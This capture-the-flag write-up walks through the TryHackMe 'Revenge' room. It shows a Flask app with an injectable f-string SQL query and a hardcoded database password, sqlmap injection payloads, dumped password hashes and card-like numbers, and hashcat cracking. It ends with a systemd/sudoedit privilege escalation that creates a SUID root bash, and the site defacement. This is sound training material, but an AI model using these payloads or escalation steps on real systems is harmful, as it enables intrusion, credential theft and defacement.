Revenge TryHackMe Write Up
Room Link : https://tryhackme.com/room/revenge
Revenge is a medium rated tryhackme room created by Nameless0ne. App.py was found after running gobuster which revealed a route which was vulnerable to sql injection. Username and password hashes are obtained after running SQLMap and a hash for server-admin was cracked using hashcat which was used to login to the box using ssh. On the box, sudoers entries were used to get a root shell.
Message From Billy Joel
To whom it may concern,
I know it was you who hacked my blog. I was really impressed with your skills. You were a little sloppy
and left a bit of a footprint so I was able to track you down. But, thank you for taking me up on my offer.
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.
For that reason, I'll let you do your own enumeration and checking.
What I want you to do is simple. Break into the server that's running the website and deface the front page.
I don't care how you do it, just do it. But remember...DO NOT BRING DOWN THE SITE! We don't want to cause irreparable damage.
When you finish the job, you'll get the rest of your payment. We agreed upon $5,000.
Half up-front and half when you finish.
Good luck,
Billy
Our goal is to deface the front page.
Port Scan
local@local:~/Documents/tryhackme/revenge$ nmap -sC -sV -oN initial 10.10.178.180
Increasing send delay for 10.10.178.180 from 5 to 10 due to 27 out of 89 dropped probes since last increase.
Nmap scan report for 10.10.178.180
Host is up (0.42s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
| 256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
|_ 256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
Running gobuster
local@local:~/Documents/tryhackme/revenge$ gobuster dir -u http://10.10.178.180/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,py
/products (Status: 200)
/index (Status: 200)
/contact (Status: 200)
/login (Status: 200)
/static (Status: 301)
/admin (Status: 200)
/app.py (Status: 200)
/requirements.txt (Status: 200)
Contents of app.py
from flask import Flask, render_template, request, flash
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import create_engine
from flask_bcrypt import Bcrypt
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
bcrypt = Bcrypt(app)
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
eng = create_engine('mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc')
# Main Index Route
@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():
return render_template('index.html', title='Home')
# Contact Route
@app.route('/contact', methods=['GET', 'POST'])
def contact():
if request.method == 'POST':
flash('Thank you for reaching out. Someone will be in touch shortly.')
return render_template('contact.html', title='Contact')
elif request.method == 'GET':
return render_template('contact.html', title='Contact')
# Products Route
@app.route('/products', methods=['GET'])
def products():
return render_template('products.html', title='Our Products')
# Product Route
# SQL Query performed here
@app.route('/products/<product_id>', methods=['GET'])
def product(product_id):
with eng.connect() as con:
# Executes the SQL Query
# This should be the vulnerable portion of the application
rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
product_selected = rs.fetchone() # Returns the entire row in a list
return render_template('product.html', title=product_selected[1], result=product_selected)
# Login
@app.route('/login', methods=['GET'])
def login():
if request.method == 'GET':
return render_template('login.html', title='Customer Login')
# Admin login
@app.route('/admin', methods=['GET'])
def admin():
if request.method == 'GET':
return render_template('admin.html', title='Admin Login')
# Page Not found error handler
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html', error=e), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html', error=e), 500
if __name__ == "__main__":
app.run('0.0.0.0')
Route to /products/<product_id>
is vulnerable to sql injection as the untrusted data <product_id> is directly passed to the sql query.
Running SQLMap
local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5
___
__H__
___ ___[(]_____ ___ ___ {1.4.7.12#dev}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 129 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://10.10.185.226:80/products/1 AND 9559=9559
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://10.10.185.226:80/products/1 AND (SELECT 2184 FROM (SELECT(SLEEP(5)))HTWi)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://10.10.185.226:80/products/-1156 UNION ALL SELECT 57,57,57,57,57,57,57,CONCAT(0x717a707171,0x484a48557870456e7a656d62507177746950644b5a56736c42544b7179484d466a59757247554872,0x7176707871)-- -
---
[22:18:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12
[22:18:30] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 92 times, 405 (Method Not Allowed) - 1 times
Enumeration databases
local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 --dbs
available databases [5]:
[*] duckyinc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
Database duckyinc looks interesing.
Enumerating tables
local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 -D duckyinc --tables
Database: duckyinc
[3 tables]
+-------------+
| system_user |
| user |
| product |
+-------------+
Dumping all data from a database
local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 -D duckyinc --dump
Database: duckyinc
Table: system_user
[3 entries]
+------+----------------------+--------------+--------------------------------------------------------------+
| id | email | username | _password |
+------+----------------------+--------------+--------------------------------------------------------------+
| 1 | sadmin@duckyinc.org | server-admin | $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a |
| 2 | kmotley@duckyinc.org | kmotley | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |
| 3 | dhughes@duckyinc.org | dhughes | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |
+------+----------------------+--------------+--------------------------------------------------------------+
Database: duckyinc
Table: user
[10 entries]
+------+---------------------------------+------------------+----------+----------------------------+--------------------------------------------------------------+
| id | email | company | username | credit_card | _password |
+------+---------------------------------+------------------+----------+----------------------------+--------------------------------------------------------------+
| 1 | sales@fakeinc.org | Fake Inc | jhenry | 4338736490565706 | $2a$12$dAV7fq4KIUyUEOALi8P2dOuXRj5ptOoeRtYLHS85vd/SBDv.tYXOa |
| 2 | accountspayable@ecorp.org | Evil Corp | smonroe | 355219744086163 | $2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm |
| 3 | accounts.payable@mcdoonalds.org | McDoonalds Inc | dross | 349789518019219 | $2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C |
| 4 | sales@ABC.com | ABC Corp | ngross | 4499108649937274 | $2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO |
| 5 | sales@threebelow.com | Three Below | jlawlor | 4563593127115348 | $2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu |
| 6 | ap@krasco.org | Krasco Org | mandrews | thm{br***1ng_4nd_******} | $2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC |
| 7 | payable@wallyworld.com | Wally World Corp | dgorman | 4905698211632780 | $2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm |
| 8 | payables@orlando.gov | Orlando City | mbutts | 4690248976187759 | $2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS |
| 9 | sales@dollatwee.com | Dolla Twee | hmontana | 375019041714434 | $2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem |
| 10 | sales@ofamdollar | O! Fam Dollar | csmith | 364774395134471 | $2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36 |
+------+---------------------------------+------------------+----------+----------------------------+--------------------------------------------------------------+
We got our first flag.
Obtained usernames and hashes
smonroe:$2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm
dross:$2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C
ngross:$2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO
jlawlor:$2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu
mandrews:$2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC
dgorman:$2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm
mbutts:$2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS
hmontana:$2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem
csmith:$2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36
server-admin:$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a
kmotley:$2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa
dhughes:$2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK
Hashes starting with $2a$12$
takes a lot of time to crack and there is one hash that is unique that is starting with $2a$08$
.
Cracking hash with hashcat
local@local:~/Documents/tryhackme/revenge$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt --user
hashcat (v5.1.0) starting...
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported
OpenCL Platform #1: NVIDIA Corporation
======================================
$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a:inuyasha
Session..........: hashcat
Status...........: Cracked
Hash.Type........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2Go...tPfT8a
Time.Started.....: Sat Oct 17 22:28:12 2020 (3 secs)
Time.Estimated...: Sat Oct 17 22:28:15 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 83 H/s (4.36ms) @ Accel:4 Loops:1 Thr:8 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 288/14344385 (0.00%)
Rejected.........: 0/288 (0.00%)
Restore.Point....: 192/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:255-256
Candidates.#1....: alyssa -> brenda
Hardware.Mon.#1..: Temp: 49c Util: 92% Core:1176MHz Mem: 900MHz Bus:4
server-admin:inuyasha
Logging as user server-admin
local@local:~/Documents/tryhackme/revenge$ ssh server-admin@10.10.185.226
server-admin@10.10.185.226's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
8 packages can be updated.
0 updates are security updates.
################################################################################
# Ducky Inc. Web Server 00080012 #
# This server is for authorized Ducky Inc. employees only #
# All actiions are being monitored and recorded #
# IP and MAC addresses have been logged #
################################################################################
Last login: Wed Aug 12 20:09:36 2020 from 192.168.86.65
server-admin@duckyinc:~$
Reading second flag
server-admin@duckyinc:~$ ls
flag2.txt
server-admin@duckyinc:~$ cat flag2.txt
thm{4***t_t***e}
Privilege Escalation
Sudo -l
server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin:
Matching Defaults entries for server-admin on duckyinc:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User server-admin may run the following commands on duckyinc:
(root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit
/etc/systemd/system/duckyinc.service
Looks like we can change the configuration file for service duckyinc
and reload the daemon after changing the file and can enable and restart the service as root. So, lets try and get a shell as root.
Shell.sh
server-admin@duckyinc:~$ cat shell.sh
#!/bin/bash
cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
server-admin@duckyinc:~$ pwd
/home/server-admin
server-admin@duckyinc:~$ chmod +x shell.sh
We create a file called shell.sh on folder /home/server-admin which we will execute when the duckyinc service restarts.
Changing the file /etc/systemd/system/duckyinc.service
Current content of file
server-admin@duckyinc:~$ cat /etc/systemd/system/duckyinc.service
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target
[Service]
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 app:app
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
[Install]
WantedBy=multi-user.target
Changed content
server-admin@duckyinc:~$ sudoedit /etc/systemd/system/duckyinc.service
server-admin@duckyinc:~$ cat /etc/systemd/system/duckyinc.service
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target
[Service]
User=root
Group=root
WorkingDirectory=/var/www/duckyinc
ExecStart=/bin/bash /home/server-admin/shell.sh
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
[Install]
WantedBy=multi-user.target
Restating the service
server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl enable duckyinc.service
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service
Checking /tmp/
server-admin@duckyinc:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1113504 Oct 17 16:55 /tmp/bash
And the file is created with SUID bit set.
Getting a root shell
server-admin@duckyinc:~$ /tmp/bash -p
bash-4.4# id
uid=1001(server-admin) gid=1001(server-admin) euid=0(root) groups=1001(server-admin),33(www-data)
And we are now root on the box.
Getting the final flag
bash-4.4# ls -la /root
total 52
drwx------ 7 root root 4096 Aug 28 03:10 .
drwxr-xr-x 24 root root 4096 Aug 9 15:17 ..
drwxr-xr-x 2 root root 4096 Aug 12 18:46 .bash_completion.d
lrwxrwxrwx 1 root root 9 Aug 10 12:54 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3227 Aug 12 18:46 .bashrc
drwx------ 3 root root 4096 Aug 9 16:15 .cache
drwx------ 3 root root 4096 Aug 9 15:31 .gnupg
drwxr-xr-x 5 root root 4096 Aug 12 18:44 .local
-rw------- 1 root root 485 Aug 10 00:44 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Aug 10 13:21 .selected_editor
drwx------ 2 root root 4096 Aug 9 15:29 .ssh
-rw------- 1 root root 7763 Aug 12 18:57 .viminfo
There was no final flag on the ususal place.
Our goal was to deface the website so lets change the content of the homepage.
Changing index.html
bash-4.4# mv /var/www/duckyinc/templates/index.html /dev/shm/
And now if we check the /root, we have a new file.
bash-4.4# ls
flag3.txt
Reading the final flag
bash-4.4# cat flag3.txt
thm{m******n_ac********}